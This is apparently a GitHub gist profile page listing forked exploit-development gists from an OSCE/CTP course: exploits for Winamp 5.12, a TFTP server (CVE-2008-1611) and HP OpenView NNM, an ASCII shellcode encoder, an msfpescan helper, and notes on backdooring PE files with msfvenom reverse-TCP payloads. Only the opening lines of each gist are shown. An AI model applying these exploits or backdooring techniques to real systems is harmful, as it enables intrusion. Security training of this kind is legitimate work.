Skip to content

Instantly share code, notes, and snippets.

View JamesMilazzo's full-sized avatar

James Milazzo JamesMilazzo

View GitHub Profile
@JamesMilazzo
JamesMilazzo / winamp-5.12-unc-exploit.pl
Created March 25, 2018 01:20 — forked from mgeeky/winamp-5.12-unc-exploit.pl
My version of the Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit, for occassion of OSCE/CTP course. Original PoC by Umesh Wanve (umesh_345@yahoo.com).
#!/usr/bin/perl -w
# ====================================================================
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# Original Poc by Umesh Wanve (umesh_345@yahoo.com)
# Exploit crafted by Mariusz B. / mgeeky (for occassion of OSCE/CTP, 2017)
# ====================================================================
$start = "[playlist]\r\nFile1=\\\\";
$egg = "T00WT00W";
@JamesMilazzo
JamesMilazzo / cve2008-1611.py
Created March 25, 2018 01:19 — forked from mgeeky/cve2008-1611.py
Exploit for the CVE-2008-1611 TFTP Server 1.4 ST RRQ/WRQ packet's filename stack-based overflow with SEH overwrite.
#!/usr/bin/python
import socket
import struct
HOST = '192.168.1.100'
PORT = 69
def send_packet(filename):
#
@JamesMilazzo
JamesMilazzo / printable.sh
Created March 25, 2018 01:19 — forked from mgeeky/printable.sh
One liner determining whether Metasploit's msfpescan's output addresses are printable (contain only ascii characters) or not.
#!/bin/bash
# Consider having following input gathered from Metasploit's msfpescan utility (msfpescan -M -p dump/ ):
# bash$ cat msfpescan.log
#
# [./6d210000.rng]
# 0x6d21185f pop edi; pop esi; ret
# 0x6d213ba2 pop esi; pop ebp; ret
# 0x6d213d2b pop esi; pop ebp; ret
# 0x6d213f03 pop edi; pop esi; ret
# 0x6d2140bf pop ebx; pop ebp; ret
@JamesMilazzo
JamesMilazzo / ascii-shellcode-encoder.py
Created March 25, 2018 01:19 — forked from mgeeky/ascii-shellcode-encoder.py
ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
@JamesMilazzo
JamesMilazzo / hp-openview-exploit.py
Created March 25, 2018 01:17 — forked from mgeeky/hp-openview-exploit.py
HP OpenView NNM B.07.50 Remote Code Execution exploit with ASCII encoded egghunter, JO/JNO jump-over-SEH trick and stack aligned. Written during OSCE/CTP course.
#!/usr/bin/python
# HP OpenView NNM B.07.50 Remote Code Execution exploit
# by Mariusz B. / mgeeky, 17'
import struct
import socket
HOST = '192.168.XXX.YYY'
PORT = 7510
@JamesMilazzo
JamesMilazzo / msfvenom-reverse-tcp-WaitForSingleObject.md
Created March 25, 2018 01:15 — forked from mgeeky/msfvenom-reverse-tcp-WaitForSingleObject.md
(OSCE/CTP, Module #3: Backdooring PE Files) Document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches.

Looking for WaitForSingleObject call within modern msfvenom generated payload.


Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

### Keybase proof
I hereby claim:
* I am JamesMilazzo on github.
* I am zo (https://keybase.io/zo) on keybase.
* I have a public key whose fingerprint is 39D5 BF1A A497 63A7 370E 7498 26A7 2F7A 1991 E084
To claim this, I am signing this object: